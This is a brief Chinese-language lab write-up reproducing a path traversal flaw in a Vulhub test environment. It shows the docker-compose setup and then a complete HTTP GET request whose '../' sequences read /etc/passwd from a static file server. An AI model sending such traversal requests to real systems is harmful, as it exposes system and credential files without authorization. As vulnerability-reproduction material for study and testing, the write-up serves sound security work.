**一、靶场搭建**

1、Vulhub启动

docker-compose build

docker-compose up -d

2、访问3000端口，可看到web页面，其中引用了文件/static/main.js，说明其存在静态文件服务器



**二、漏洞复现**

1、发送如下数据包，成功读取/etc/passwd

GET /static/../../../a/../../../../etc/passwd HTTP/1.1

Host: your-ip:3000

Accept: \*/\*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

